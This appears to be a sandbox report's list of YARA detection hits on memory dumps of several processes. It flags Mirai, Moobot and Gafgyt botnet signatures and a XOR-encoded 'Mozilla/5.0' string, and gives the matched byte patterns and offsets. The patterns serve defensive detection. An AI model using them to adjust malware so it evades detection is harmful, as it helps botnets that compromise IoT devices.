6963.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6963.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6963.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6963.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6963.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6963.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7350.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6607.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7230.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6707.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6707.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6707.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6707.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6707.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6707.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6557.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6557.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6557.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6557.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6557.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6557.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7396.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6924.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6662.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6662.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6662.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6662.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6662.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6662.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6268.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6268.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6268.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6268.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6268.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6268.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6903.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6371.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6870.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6870.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6870.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6870.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
